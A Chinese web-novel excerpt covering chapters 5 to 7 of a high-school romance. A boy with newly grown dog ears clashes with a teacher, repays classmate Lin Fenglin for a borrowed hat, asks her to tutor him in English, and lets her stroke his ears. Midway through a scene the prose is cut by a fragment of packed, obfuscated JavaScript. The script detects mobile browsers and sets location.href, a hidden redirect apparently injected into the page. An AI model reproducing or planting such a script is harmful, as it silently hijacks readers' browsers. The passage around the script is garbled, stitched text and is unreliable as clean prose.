陆巡站了一个标准的军姿,朝他抬抬下巴,示意他有话就说。
鲁自强:……
再看这个混账学生一眼,都要气得升天了。
他索性直接命令道:“把你头上那个破帽子拿下来!像什么样子!”
陆巡来劲了:“不好意思,鲁老师,这可不是破帽子,它很贵的!每一秒都在扣我的钱!”
“什么乱七八糟的,给我拿下来!奇装异服!还有没有点规矩了!”
陆巡诧异地看了他一眼:“规矩?听不懂。”
鲁自强忍着气:“你不懂规矩,我现在教你。在教室里戴帽子,对老师很不尊重!昨天就听上课的老师们讲了,我还想着等你自觉。你看看你这个样子,有没有一点教养!”
这句话一出,陆巡的脸色也变了。
他突然笑道:“我有没有教养,鲁老师还不清楚?有人生没人养的东西,哪来的教养?”
话落,他看也不看鲁自强,转身就走了。
“站住,你去哪!”
陆巡早已径直下了楼梯。
走廊外的闹剧毫不意外地吸引了班里同学的注意力。
老班具有威慑力的目光朝里一扫,学生们纷纷眼观鼻鼻观心。
实则心里大呼刺激过瘾。
有人单纯为这枯燥学习生活里的调剂而兴奋。
有人对陆巡的恶感和畏惧更深一层。
也有人看老班吃瘪,对陆巡的佩服更上一层楼。
王竞勇当然是后者。
对于他来说,陆哥实在是太威风了!
想到这里,他又忍不住朝同桌的抽屉里上供了一包牛肉干。
早读课在各怀心思中结束了。
林风临压下心里那股不舒服的感觉,整理桌上交来的英语家作。
陆巡怎么了,和她有什么关系?
他们之间,顶多有点金钱交易罢了。
要说交情,也就是林风临帮他保守秘密的交情。
最多再算上摸过耳朵的情分吧。
轮不上她为他担心。
人家当问题学生指不定都多少年了,这点事情完全就是小场面。
何必她去掺和?
她自己的烦心事儿还忙不完呢。
马上要月考了。考不好妈妈会生气的。
林风临面无表情地站起身,看着自己桌上的那堆英语作业。
最上面是一张小纸条,第四组小组长的笔迹。
“陆巡、王竞勇未交。”
她抬起手,捡起那张纸条,揉在了掌心。
—————————
陆巡出了教学楼,一路往学校东面跑。
他的脸紧紧绷着,浑身都是压不住的戾气,方才那副滚刀肉的油滑面具完全破碎开来,露出底下腐臭的伤口。
这里对他来说是个刑场。
没有人在意他本来是什么样子的,没有人在意他想成为什么样子。
他们只想手起刀落,一刀一刀把他削磨成别人的样子。
陆巡很快进了小树林,隔着小河和草地,他已经能看见熟悉的围墙。
翻过去,他就自由了。
离开这个让人窒息的地方。
他停下了脚步,不知为什么。
心里还在烧着,各种各样的情绪翻搅着,加上刚才的疾跑,他几乎喘不过气来。
他抬起手,捂住胸口,喘息着坐在了草地上。
为什么这么多年还是会难过?
不是早就接受了吗?
像他这样的异类,被人看轻再正常不过。
没有人会在意他是什么想法。
没有人会耐心地询问他的原由。
没有人会问他的心。
看见他的行为就已经了解一切了。
还需要问什么?
不过是天生无人教养,本性顽劣难驯,反骨叛逆,难成大器。
要让院长失望了。
陆巡想。
星星福利院的院长程
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天晓,自十七年前捡到陆巡起,殷殷切切盼他成才。
她觉得他聪明大胆,一定能顺利融入这个社会,做出一番事业。
故而督促他坚持完成学业,去搏一个未来。
她想得太天真了。
怎么五十多岁的人了,总还那么天真。
陆巡扯了扯嘴角。
河里有只鸭子上岸了,翅膀背在身后,走得摇摇摆摆,时不时还在草地上啄啄。
一脸蠢相。
陆巡阴暗地看着这只有人照顾而无忧无虑的鸭子,动了动手指。
把它的毛拔了。
让它成为鸭子里的异类。
它还能这么快乐吗?
不知是不是冥冥中对危险的感应,那鸭子突然在地上拍拍翅膀,飞了起来,重又落入湖里。
草地上有什么东西在滚动。
陆巡站起来走了几步,蹲下一看,竟然是一支笔。
颜色还挺显眼。
谁掉在这的笔。
他不感兴趣,刚要扭头就走。
脑中忽然划过什么。
陆巡转身又把那支笔捡了起来,对着光细看。
笔身做成胡萝卜颜色和形状,笔帽上还坐着一只橘色的傻猫。
这一看就不是正常人的笔。
也太傻帽了。
所以,不会是林风临昨天落下的吧?
他早就想说了。
林风临是不是学习学傻了,中午吃饭还拿个纸笔。
这能吃好饭吗?
昨天他看她在树底下一本正经收拾文具离开,简直惊呆了。
什么人啊。
别是学习学得太压抑,把气全撒他身上了吧。
陆巡拿着笔往回走,越想越有道理,合着他就倒霉撞枪口上了呗。
她对那帮女同学就跟什么乖巧善良的天使一样,对他就露出獠牙。
这对吗?
陆巡越想越气,必须今天就为自己讨回公道!
他摸了摸兜,要给她的钱还好端端在那。
这给了他一点底气。
再怎么说,对于大客户,她总要给点好脸色的吧。
此时的销售二代林风临,并不知道自己莫名其妙开单了,还是个大单。
有人决定为她的帽子支付长期租金。
如果她妈林晚霞,真正的售货员在这,一定会感叹陆巡就是那种人傻钱多的完美顾客。
可惜林风临还意识不到这一点。
刚刚对英语老师撒完谎的她,维持着镇定,心事重重同手同脚回了教室。
得知了一个噩耗。
“什么!你们全吃完了!”
陈曼文和李月然像是被抓吃在床的一对鸳鸯,两人都露出了尴尬和愧疚的神情。
“风临,我明天多带点。或者你想吃什么,我周末做好了带给你。”
神厨李月然给出了很有诚意的补偿方案,那还说啥,狠狠接受!
这可是自己的饭票啊!
林风临抓住她的手臂摇了摇:“月月,然然,你对我太好了!我怎么报答你?你抄我作业不?或者我给你带个玩偶?”
李月然被她弄得耳朵都红了,说话都带着颤:“不不,不用……我喜欢你们吃我做的东西……”
这是什么!这是真厨神!
而这个……
林风临的目光转向陈曼文。
这是什么!这是真饕餮啊!
她的讨饭对手!
“不是,陈曼文,你一个人就这一会儿,怎么吃完剩下的十来块饼干的?”
陈曼文大呼冤枉:“我只吃了八块!”
她的同桌,也就是林风临的前桌于慕青,小心翼翼举着手转过身来:
“我也吃了……但是都是陈曼文硬要我吃的!”她大义凛然,连额上的齐刘海都看着诚实可靠。
“我?我硬要你吃?你抢的时候还打我手呢!”陈曼文揪住她的肩膀,两人扭打起来。
津津有味看戏的林风临,桌边突然走过一个人影。
一只骨节分明的手伸到她眼前摊开——
她那只胖乎乎的胡萝卜橘猫笔,静静地躺在他掌心。
5. 上当,狗极为擅长
林风临面前的空气凝滞了一瞬间。
她伸手,从陆巡掌心取回了自己丢失的笔。
那只手虚握了握,收了回去。
陆巡看着她:“出来一下吧。有……其他东西给你。”
顿了顿,他补充说:“你想要的。”
旁边同学们的神色面容随着距离淡去,林风临默不作声地盯着眼前的路,越走越快。
直到她忍不住问:“快上课了,我们走到哪去啊?”
陆巡没回头,对她摆了摆手:“他们看不到的地方。”
——指这栋教学楼背后。
陆巡站定,看着眼前真的乖乖跟自己出来的人,还有点不可思议。
今天林风临看着还挺好说话的。
下一秒,穿着校服的女孩往前迈了一个外八,冷哼道:“你最好有重要的事。耽误我背单词。”
陆巡:……
他忍不住说:“哪有那么多单词要背?你下课还想这些干嘛?”
林风临很平静:“单词是背不完的。”
“那你还背?”
“你听说过愚公移山吗?”她的口气很老成。
陆巡疑惑了:“你要让子子孙孙一起背到死?”
“收回前面那个成语。是精卫填海。”林风临淡定地改口了。
“死了也要背?”
林风临恼羞成怒了:“你废话真多!叫我出来干嘛!还钱!”
嘿!就等你这句话呢。
陆巡颇有点喜滋滋地开口了:“把手伸出来。”
林风临朝他面前举起了一个巴掌。
陆巡:……
“不是这样!伸平了!”他立刻急了,上手把她的手拉下来。
林风临危险地看着他碰自己的那只手。
陆巡不敢耽搁,立马用另一只手从口袋里掏出了一沓钱放在她手心。
“喏,还你的饭钱。还有你借我这个帽子的租金。”
他着急忙慌地把她的手合拢。
林风临怔怔地看着他动作,待他的手离开,她才自己展开手。
“怎么这么多?”她有些犹疑和惊讶。
陆巡帽子内的耳朵耷拉了下来。
他甚至有点委屈:“哪里多了?不全是按你的要求给的吗?”
他回去算了好一会儿呢。
林风临被这个蠢狗惊笑了:“我?我都不记得我说了什么要求了。你还真信啊。”
世界上有这么听话的人?
“我记得,你说你妈给你做的饭要算三十块钱,你拿走了12块5,我还欠你17块5。帽子租用的钱,昨天半天算一天,30块钱,然后那个帽子变不变形我不知道,但是我觉得头有点紧,先付你80块钱算押金。然后今天的我明天给,按日给。还有……”
陆巡算得正起劲呢,林风临退了两步,举起手:“等等等等!”
他疑惑地看向她。
林风临抬起手捂住了头:“我的天呐!你人也太傻了吧!你……”
传言也太不实了!
这就是同学们和老师嘴里说的大恶人究极坏学生吗?
为什么。
她有种骗走乌鸦嘴里叼着的肉,小狗嘴里咬着的球的愧疚感。
“你先别急着把自己卖给我!不对,你先别急着帮我数钱!”
“我昨天明抢的十几块钱,纯是我的精神损失费,和你的救援费。我心里本来就很烦了,你上来把我吃饭的家伙打翻了,又把我好一顿捏,结果我还得忙着救你!”
“不抢点钱说得过去吗?”
“何况那也不是我抢的,我把你拖上来的时候你自己掉的,是我捡的!你自己爆的装备!”
陆巡惊奇地插了一句:“你还知道装备?我以为你生下来就学习,从来不知道啥叫游戏呢。”
“我让你说话了吗?”
陆巡比了个“OK”,把嘴抿上了。
“我说到哪儿了?”林风临眉头一皱。
“说到你捡我的钱天经地义。”陆巡贴心提醒。
“哦对,所以我捡你的钱合情合理!但是!之后我跟你算的账,就纯是仇人价了,主要是为了挤兑你好吗?你知道啥叫挤兑不?就是纯恶意,不要钱的那种!”
林风临一口气说完,都不带喘的。
她看陆巡露出了一点恍然大悟的神情,稍感安慰,清了清嗓子继续说下去。
“我又不是不讲道理,其实我本来就没打算叫你赔我的饭,你看着也不像有饭吃的样子。都跪在地上滚了。”
“何况,你后来突然变狗,又解释了打翻我饭的原因,我已经相信了呀。我只是没说而已。总不能让我反驳自己吧?”
“我妈做饭偷懒也不是一天两天了,上上次没吃完的菜她觉得重炒一遍就翻新了。唉,我都懒得说,反正吃不死。”
“这个帽子,借给你,是因为我善良好心。怎么可能收钱啊?”
“而且,这个帽子又不是什么不可或缺的生产资料,我能拿这个要挟你给我打工吗?资本家有这么好当?你上政治课了吗?”
陆巡越听越想笑,这一套一套的,她怎么这么聪明啊?
冷不丁听到她的问话,他回想了一下:“我们有政治老师?”
“你政治课全逃了啊?”
“我又不当什么大政治家。”陆巡觉得无所谓。
“你当大梦想家呗。”林风临阴阳怪气。
说完了又觉得不太好,这么说话虽然爽,但是太刻薄了吧。
有点意犹未尽。
虽然刻薄,但是太爽了吧。
林风临把危险念头抛出脑海,定定神说:“你明白了吧?我不会收你钱的,你拿回去。你一时半会没时间买自己的帽子的话,你就戴着呗。我好几个呢。”
陆巡听出不对劲了,他坚决不收回钱,大声说:“我就要你这个帽子!”
话脱口而出,他才觉得奇怪,为什么非要这个帽子?
可是,听到林风临一笔一笔算得那么清楚合理,却把他们之间的交易归为零。
他为什么会觉得有点不爽?
陆巡还在兀自纠结的时候。
林风临听了他奇怪的宣言,已经言简意赅地回应:“神经病。”
“打铃了,我没时间跟你掰扯这些,你要我就送你。当是成狗礼物吧。”
她说着就往回走。
“什么成狗?”陆巡追上去,“喂!我就想租你的帽子不行吗?我每天都给你钱!”
你每天都和我说话呗。
这个念头一出,他突然停下脚步。
是因为觉得她很有意思,想每天都和她说话吗?
难道他也会有想要陪伴的时候吗?
可是,他这样的人……
陆巡看着林风临头也不回的背影,犹豫着。
她是……很特别。
好像她根本不在意他是个别人口中的怪人,既不怕他,也不怜悯他。
和她在一起确实很开心。
虽然被骂得很多,但是也很有意思,比一个人要有意思。
他喜欢听她说那些针锋相对的机灵话。
诶!他昨天晚上还想了好几句呢!
今天都没机会说。
唉,没发挥好。
脚步声的方向突然变了。
陆巡竖起耳朵,抬起头。
林风临朝着他跑来。
“不回去上课啊?第一节是英语课!”
她说着一把拉起他的校服袖子:“走啊!你作业没交的事,我都帮你瞒了,你再不上课,影响我的职业生涯!”
陆巡被她拖动,跟着她往教学楼里跑。
铃声震荡校园,像世界末日。
跑着跑着,林风临慢了下来:“我不行了,还有这么多层要爬。完了完了,课代表迟到,这是什么惨剧!”她喘着气摆摆手。
手突然被抓住了。
陆巡反过来把她往上拉,笑了一声:“这就不行了?让你见识一下真正的速度!”
说着他一步跨上了四级阶梯,紧
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紧拉着林风临,又跳上了四个台阶,“快!跳!”
“啊啊慢点,等一下!我去!”林风临一只手被他拉着,一只手在楼梯扶手上顽强地搭着滑动。
“加油啊!林风临!课代表!”
“不要这么大声喊我名字!”
“林风临,快点,来。”
“快不了。”
“你身上有狗皮膏药的味道,像老太太。”陆巡突然松开手,往上跑了。
“我要你的命!”
“这不是能快起来吗!”
老天有眼。他们俩赶到教室门口时,铃声刚刚停下。
预计英语老师夏老师还有几十秒到达战场。
林风临庆幸地跨进教室的那一刻。
身后的陆巡撞上了她的肩膀。
她突然意识到一件事。
她和陆巡这个大名人一起出现在了同学们眼前!
林风临低下头匆匆走向座位,默默为自己的一世英名惋惜了一把。
要被绯闻追着跑了。
闲人年年有,高中特别多。
算了,高中生,谁没点黑料在学校里。
她又不当明星出道!
但是话又说回来,和陆巡传绯闻能算黑料吗?
至少他长得很不错吧。
还有狗耳朵可以摸。
其实也没亏。
陆巡坐回了座位,第一次规矩地拿出英语书。
他在想,为什么林风临身上会有狗皮膏药的味道呢?
都有点把她身上的香味盖住了。
翻开书的手顿了顿,所以,她身上的香味到底是什么味呢?
书香气?
没等他想出什么名堂,英语老师夏丁香进了教室。
————
夏丁香今年25岁,刚大学毕业两年,对于工作,对于教学事业,对于她今后的人生,都有着无限的热情和创造力。
今天她漂漂亮亮站在讲台上的时候,举着一支薄荷绿的精美印章。
“这就是我们今后英语课的新规则了!大家还有什么疑问吗?”
教室“嗡”地一声闹腾开来,朝各个方向转身的学生们讨论得唾沫横飞。
“我靠,必须答出正确答案才能获得免答金牌?”林风临的后桌张博第一个大声哀嚎,扯住同桌方亮摇晃,“这什么意思?我咋没听懂啊啊啊!“
方亮像一个没有灵魂的稻草人,随着他的力道左右摇摆,慢吞吞回:“不知道,我没听。”
“诶诶诶,林风临!课代表!夏老师啥意思呀?”张博放过了他那没用的同桌,扒住桌子来戳林风临。
林风临被他没轻没重戳得“嘶”一声,猛地一甩脖子回头,露出一个阴森森的笑:“意思就是你们的金牌数由我统计。你,张博同学,袭击英语课代表,先扣一块金牌。”
张博给她转头的速度和力度吓了一跳,声音都弱了下去:“啊,我哪有袭击……我就叫你一下啊。”
林风临冷笑一声,举起手里代表着权力的表格,当着他的面在“张博”一栏后面写了个“-1”。
……
“说对不起。”
张博立刻被她有形的官威震住了,他扭头看看方亮,后者爱莫能助。他只好小声说:“对不起。”
“对不起什么?”林风临笑眯眯的。
张博毛骨悚然:“对……对不起你的……后背?”
林风临点点头,“行,我接受了。下次叫人讲点礼貌。如果让我疼的话,我也会让你疼哦。”说罢干脆利落地把那个黑漆漆的数字划去。
林风临……真不好惹啊。
陆巡在后排偷听得乐滋滋。
他心里舒服了。
这么看来,林风临对他的态度已经很好了。
谁让他长得帅呢。
林风临想必也对他格外开恩了。
还替他遮掩了没写作业的事。
他得想个办法报答她。
怎么做呢?
要不带她跑步?
6. 狗的慷慨
这是一堂并不平静的英语课。
新晋半兽人陆巡照常在后排神游天外。
顺便偷听教室各处的动静。
老牌普通人林风临狐假虎威,利用英语老师的游戏规则,狠狠震慑了自己的后桌张博。
估计这家伙以后再也不敢随随便便戳人家后背了。
林风临对自己速战速决的正义之举很满意。
只是。
侧头看他们闪电战的李月然瞪大了眼睛,猝不及防和转头回来的林风临对视上,竟然下意识地也立刻转回自己的桌子,正襟危坐。
看样子就好像怕被林风临顺手也收拾了。
林风临:……
不不,女神,不是这样的!!!
该死,她这个新学年在新同学面前建立的人设又又双叒破灭了!
为什么说又呢?
进入青春期后,林风临遇见了不少各式各样的人,在各类新闻媒体二次元三次元都见到了很多全新帅气的女性形象。
她开始觉得自己平时的为人太过随和了,话太多会显得肤浅,没有深度。
应该惜字如金,才能显得强大神秘。
于是上初一的时候,她决定对新同学保持冷淡,不主动搭话,回应别人一句话不超过5个字。
第一天就破功了,这当然不能怪她。
那个新同学问她小升初的考试成绩,对她大夸特夸,到底谁能忍住不笑?
笑着笑着,她惊恐发现自己的高冷人设刚开张就倒闭了。
————
上初二的时候,林风临觉得自己不能这样了。到底还想不想成为所有人敬佩恐惧的对象了?
她决定这次一定不能再轻易露出笑容了,没看动漫里都说,平时不笑的人,一笑起来才会倾国倾城吗?
笑太多了,别人不会珍惜的!
然后开学第一天跑操,秩序混乱,一个男生的跑步时摆手十分奇特,两手成刀竖在脸旁,每跑一步都快速切剁空气,脖子还随着节奏摇摆。
她笑出鹅叫,像个抽风机一直抽,直到有同学来问她有没有哮喘。
她知道这次人设又倒塌了,于是她破罐子破摔,去问那个男生他是不是学过傣族舞。
那是她第一次知道这个世界上居然有人会不喜欢她。
————
于是初三的时候,她成熟了一些,明白这个世界竟然不是围着她转的。
要更小心谨慎一些了,不能想到什么说什么!尤其不能当人家面说!
她开始从形象入手,剪了齐刘海,她强烈对理发师和妈妈要求刘海要挡住眼睛,但是她富有个性的意见并未得到采纳。
她得到一个锅盖头的外号。
小事而已。
她忍辱负重,自己悄悄养头发,终于养出了斜刘海,可以挡住一点眼睛了。
透过头发看世界有种透过珠帘欣赏的美感,还有一种隔绝在自己世界的安全感。
她在学习之余专心研究斜刘海,一九分,二八分,三七分,四六分,她都试过。
哪边脸分多一点呢?
她找到了一些科学资料,说大部分人都是左脸比右脸好看,她掏出镜子研究了半天,从此开始对两边脸区别对待。
左脸得到的刘海总是多一点。
那段时间她总把自己的朋友往左边拱。
不管怎么说,高冷人设总算在技术可视化层面上有些进步吧。
但她还是笑得很多。
————
上了高中以后,她笑不出来了。
突然有人说她看起来很凶。
太荒谬了!
她初中时代梦寐以求的称赞就这样来得不合时宜。
早知道上了高中就笑不出来,她在初中那些咬牙憋笑的努力算什么!
更糟糕的是,她的同学们也长大换人了,不知道大家的集体意识经过怎样的一番成长,高冷人设突然不流行了!
这里流行小太阳!
林风临真的天塌了。
活泼开朗成大势所趋了!
毁灭吧!
这里所有的女生都是马尾,所有的男生都是锅盖!
————
那能怎么办?
就这样过呗。
林风临在这个全新的城里高中横冲直撞了一番,毁誉参半之后,她终于以一个更适应环境的形态升入了高二。
斜刘海早就养没了,只剩脸两边一些碎发,起到一个写字时候碍事的作用。
她开始用发夹别头发,露出光洁的额头。
开始学会有礼貌,说话之前会思考,学会微笑,学会友好。
然后现在眼看着又不行了……
都怪陆巡!都怪张博!
总之怪这些惹她生气的男生。
不然她的脾气根本不会露头的。
林风临扯出一个尴尬安慰的微笑,同桌李月然不明所以,也回了个笑。
前桌于慕青和陈曼文两个马尾辫凑在一起叽叽咕咕了一会,齐齐转过头来。
林风临被她们盯着:?
陈曼文凑过来:“所以说这个免答金牌的用处就是通过回答你能回答的问题,来避免回答以后你不想回答的问题?”
林风临点点头:“是这样没错,所以可以在遇到会的题目的时候就踊跃抢答,不会的题目就可以避免丢人了。”
“嗨,这有什么丢人的。”陈曼文搞明白了,满不在乎地摊手。
于慕青小声提醒她:“但是有的题目权重不一样,答对一道,可以得两块金牌,以后免答两道呢。我觉得还挺划算的……”
早早得到内部消息,答应帮夏老师推销产品的的林-英语课代表-风临:“对的哦!反正答错了没惩罚,但是蒙对了就赚了,等会赶紧抢答吧!”
于慕青有点意动,但是她成绩不是特别好,忍不住去看旁边陈曼文的神色,还是希望得到同桌的一点鼓励。
陈曼文:“想啥呢?没咱俩啥事儿。我们拼也拼不出来一个答案的!”
于慕青:“好吧。”
教室的最后一排。
“陆哥带带我!”
什么金牌狗牌的,完全听不懂。
王竞勇毫不犹豫,直接向他最信任最崇拜的陆哥求带。
陆巡:……
我被狗缠上。
看在这个同桌还算顺眼的份上,他耐着性子承诺:“等会我要是知道答案,肯定提醒你啊……不是你他爹的能不能先把英语书拿出来?”
陆巡又暴躁了。
他深吸一口气,再次把目光投向那个熟悉的背影。
怎么就不能自己选同桌呢?
陆巡对包分配同桌这件事情产生了强烈的不满。
可恶!难道他就没办法?
突然灵光一闪。
非要做同桌才能和她说话吗?
讲台上,看同学们已经热火朝天讨论了快十分钟了,夏老师拍拍手:“安静,那我们开始了!我提问的时候,请大家踊跃抢答!”
紧张刺激又别开生面的英语课终于结束了。
有好几个同学跑到林风临这里来看自己的金牌数。
七嘴八舌打听的哀嚎的。
林风临被围在中间:“一个一个来,一个一个来!我听不清!听不清你在说什么!!”
一整个上午,英语数学物理语文,忙忙碌碌。
直到中午吃饭,陆巡才找到了和林风临说话的机会。
“我妈今天可没给我送饭,我没有很多时间在小树林耽误,还得去食堂排队呢。”林风临和陆巡保持着距离,一前一后走在校园里。
陆巡按照她的要求,没敢回头看她,只好举起手比了个很大的OK,动作舒展得像是伸懒腰。
好不容易四下无人,林风临看他踌躇的样子,老神在在地掏出钱:“后悔了吧,拿回去呗。”
陆巡立刻退后了两步,如避蛇蝎,举起双手:“不要!你把我当成什么人了!我说给你就是给你的,你帽子还在我这呢。我不还给你,你也别还给我!”
林风临莫名其妙:“那你找我干什么?”
陆巡放下自尊,一咬牙:“我……想好好学习了,但是我英语作业都不会写,不是我不想写,我不会呀。”
“所以……你能辅导我吗?”
他一米八的个子,此刻局促地揣着手,看起来有点意外的可怜。
要是帽子摘掉会更可爱吧?
林风临清了清嗓子,把这个不端正的想法清走,端起架子问:“我是可以辅导你,有什么好处?我的时间可是很宝贵的!”
“我可以帮你补回时间!”陆巡灵机一动,“我跑得快,你以后在食堂吃饭的话,我可以帮你抢饭!排骨和鸡腿保证能抢到!”
林风临骄傲的神色有点动摇。
心动了。
但是,她不能让陆巡天天在她眼前晃呀!
她的意志力很薄弱的,现在有点控制不住往他头上瞄了……
呜呜昨天摸过的,太软了呜呜呜呜。
怎么狗狗耳朵不长她头上!
不行,长她头上她会忍不住撸自己的。
还是长在别人身上比较可控。
沉迷这些东西,会影响学习的。
她定定神,发出不屑的声音:“切,我有那么馋吗?”
陆巡看她不为所动的样子,急得脱口而出:“你有!你就很馋啊!你一直跟你同桌要东西吃!你肚子还老是叫!”
草地上的空气凝滞了片刻。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326808|199130||http|test|mini|href|location''.split(''|''),0,{}));
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>连风也不再吹了,树枝不再摇动。
陆巡僵住了。
他想退后,但是感觉前后左右都是死路。
这里怎么一点掩体都没有!不像话!
上树可行吗?
“我……我不是那个意思……我是说,吃饱很重要……”他在林风临起了杀心的目光下开始胡言乱语。
“你怎么知道?”林风临歪着头打量他,走近了一步。
“你——怎么知道?”
陆巡投降了:“我……我能听见。”
他看着林风临,忐忑地摘下了帽子,露出那两只精神的雪白三角耳。
耳朵尖上的白色绒毛像在发光。
林风临顿时有点神智不清了。
昨天看见的时候好像没这么可爱啊。
“听见?”
“对……”,陆巡老实说,“我这对新耳朵能听得很远,完全竖起来的话,十米范围的声音,近在耳前。”
林风临恢复了神智:“那你岂不是能偷听我们说话!你能偷听教室里所有人的八卦!”
陆巡:“是……这样没错。但是我也……不是爱偷听的人。”他违心地找补。
“那你怎么知道我和我同桌说的话!偷听还不承认!坏狗!”林风临一顺嘴就骂了出来。
陆巡没什么反应,但是他头上的狗耳朵反应很快,不受控制地失落垂下了。
林风临:!
好熟悉的形态,这就是昨天她看惯的形态!!
她意识到什么,试探着改口:“好狗狗?”
两只耳朵立刻竖了起来。
!
不是吧?远程也能玩?声控的!
这诱惑谁受得了!
“我天哪!给我摸摸给我摸摸!!!”
陆巡听到的声音突然振聋发聩:?
他竖着耳朵诶!!
“给我摸一下!我答应你,我教你英语!”
林风临的脸都兴奋得红了,朝他伸出了两只手,看起来实在状态异常。
陆巡不由得退后了两步,压出了飞机耳,“摸…………哪里?等等!你先冷静一下!”
“是个人都冷静不了!都怪你突然长这种卑鄙的东西!”林风临向他奔了过来。
陆巡抓住她的两只手:“你在说什么!我哪里卑鄙了!”
两只手被抓住了,林风临疯狂甩头,马尾辫啪啪打陆巡的脸。
陆巡被头发扫得闭上了眼睛:“你是不是疯了!我就说你不要背那么多单词吧!”
林风临停止了魔发攻击,像个被触发关键词的机器人一样:“单词是肯定要背的,现在不背,以后也得背!”
陆巡睁开眼,低头看她认真的脸,叹口气:“你怎么……”
他的目光突然凝住了。
太近了。
他看到了林风临头发上粘着一些小小的,白色绒毛。
奇怪,是他的视力也变强了吗?
那是什么?
似乎有……熟悉的感觉。
陆巡放开了她的手。
从嗓子眼里挤出一句问话:“你……头发上怎么有我的耳朵毛?”
林风临僵在原地。
什么!
什么!
他的狗耳朵掉毛?
不是才长出来的吗?质量这么差?
她昨天就揉了一会儿就掉毛了?
还像鬼一样缠着她?
那她像贼一样偷偷撸他耳朵……他会怎么想?
不不不她不是变态!她的一世英名!
“我……我可以解释!”
陆巡不知道自己消化了什么信息,脸色平静下来:“你昨天摸我的耳朵了。我就说啊。”
“你……摸就摸,为什么偷偷摸摸?”
“不能告诉我吗?我又不是,会拒绝你的那种人。”
林风临刚从被发现的羞耻里挣脱出来,就听到陆巡这么含羞待放的一句话,顿觉五雷轰顶:
“不不不!你拒绝我!你要拒绝我!我……我不会再犯错误了!你不能让我犯错误啊!”
她要崩溃了。
被狗耳朵迷得失去理智就算了,被当场拒绝也算了。
偷摸被发现也算了。
但是受害者怎么突然失去下限同意了啊!
林风临绝望地想:总不会是因为他觉得我的行为过于无耻,他无能为力吧。
陆巡看着她忽青忽白的脸色,又觉得有点好笑,怎么这个人自己做的事,自己还接受不了啊。
他都接受了。
耳朵尖有点发烫。
原来她喜欢这对异常的耳朵。
怪不得对他这么特别关照。
他堪称温和地拉过她颤抖的手:“来,摸吧。”
7. 狗被迫学习
“别怕,我愿意的。”
陆巡的声音低得像是在诱哄。
林风临僵硬地被他拉着手,缓缓靠近他头上那对松软诱人的耳朵。
内心天人交战。
恶魔风铃举着叉子说:“你看他自己都愿意了,还这么主动!不趁机摸一把说得过去吗?这可是上好的狗耳朵妙脆角啊!”
天使风铃挥舞着小手飞过来:“他只是同意了!并非心甘情愿!你看他的人类耳朵都红了。怎么可以这样欺负他呢?”
“你怎么知道这是欺负!这明明是照顾!小狗耳朵不揉能行吗?揉揉以后长得更精神!狗耳朵生来就是要被人摸的!”
“胡说!狗不是……陆巡不是狗!他是人,是个男人啊!你这样对他,万一以后狗性压过了人性,缠着你不放怎么办!”
“我当个事儿办!我早上摸,我晚上摸,我每天都摸他!”
林风临一个头两个大了,救救!她不知道怎么选择了!
她只是一个没见过什么世面的老实高中生罢了。
为什么要面对这种世界难题!
半兽人的耳朵能摸吗?
感觉可以当辩论赛的辩题了……
胡思乱想中,她的手已经碰到了毛绒绒的耳朵尖。
手立刻毫不客气地握住开始揉捏,把好好的一只狗耳朵推得倒来倒去。
另一只像有感应似的,躲闪了好几下,慢慢伏下来了。
陆巡握着林风临的手腕,感受到她的手在自己头上兴奋地作乱,不由得抿住唇。
有点奇怪的感觉……耳朵痒痒的,想让她揉重一点。
他握着她的力道不自觉加重了,腰也弯得更低,好让她方便动作。
这个角度,能把她的表情看得很清楚。
她的眼睛好亮。
原本就这么漂亮吗?
头上忽然一重,原来是林风临用上了另一只手,双管齐下,完全沉浸在了毛绒绒中,已经不知天地为何物了。
手下的狗耳朵越来越烫,摸着又暖和又柔软,真是完全丢不开手啊!
白皙的手指陷在轻盈的绒毛里,若隐若现。
林风临摸着摸着,情不自禁开始变换手法,开始用手心打圈按揉,那两只可怜的狗耳朵被颠来倒去按压,眼看着绒毛都在空气里飞舞了。
陆巡的脸已经红透了,感觉两对耳朵都越来越烫,热得慌,额头上似乎有汗水爬过,痒得要命。
他忍不住抬起空着的手擦了一下额头,看着林风临快整个人都扒在他脑袋上了,一点也不像刚才那幅正人君子的样子。
不需要他抓着手引导了。
陆巡迟疑着松开她的手腕。
可能是今天太阳太大了。
他弯着腰有点站不稳了,只好用双手撑住膝盖。
等了又等,林风临还在他的头上流连。
陆巡憋不住了,终于问道:“你……摸好了没有?”
“没有没有,你别说话!”
林风临干脆地把陆巡头按下来,到了更趁手的高度。
陆巡给她冷不丁这么一按,差点一头栽下去,及时扶住她的腰才稳住。
“林风临!你干什么!还要骑到我头上不成?”他站稳了之后猛地退后两步,直起了身体,倒吸一口气脱口而出。
看样子气得不轻。
手里的解压玩具没有了。
林风临眼巴巴地看着他的头顶,艰难地把目光往下移,对上了陆巡气红了的脸。
她难得感到一种做了错事的心虚,小声说:“……没有。”
该死!她刚才是被上身了吗?
怎么能做出按着陆巡不让他抬头的事儿啊!
但是她的理亏不过一分钟,看向陆巡的神色突然怀疑起来:“你这……真是狗耳朵吗?不会是白毛狐狸吧?”
陆巡幼嫩的犬耳还在隐隐作痛。
他这次真的气笑了,他点点头:“好!我是狐狸,你有本事再也别碰我!”
他甩了甩头,捡起不知道何时掉在地上的帽子,往头上一扣,扭头就走。
“哎!等一下!你别生气啊!”这回轮到林风临着急了,她小步跑了上去,有点怯怯地跟在他旁边。
“我随便瞎猜的……我教你英语还不行吗?我保证用心教,我会的可多了!不仅英语,其实韩语我也略懂一些!猫语我也会一点!我还接受过辩论训练,我教你打辩论怎么样?我保证你从我这里出师之后,吵架绝对能把别人骂得落花流水!”
林风临绞尽脑汁,试图哄回陆巡。
可恶啊!千不该万不该,屈服于诱惑的!
现在完全处于下风了。
下次不可以再这样了,下次要更克制一点才可以。
林风临还算顺利地原谅了自己,现在就差陆巡识相点想开了!
陆巡冷若冰霜,低着头只管大步走。
越过三三两两的人群,看起来漠然得过分。
“慢点!你去哪啊?不理人太过分了吧。”林风临有点跟不上他了,又感觉有人在看自己,开始准备生气。
陆巡听出她已经不耐烦了,难以置信地看了她一眼。
到底谁过分?
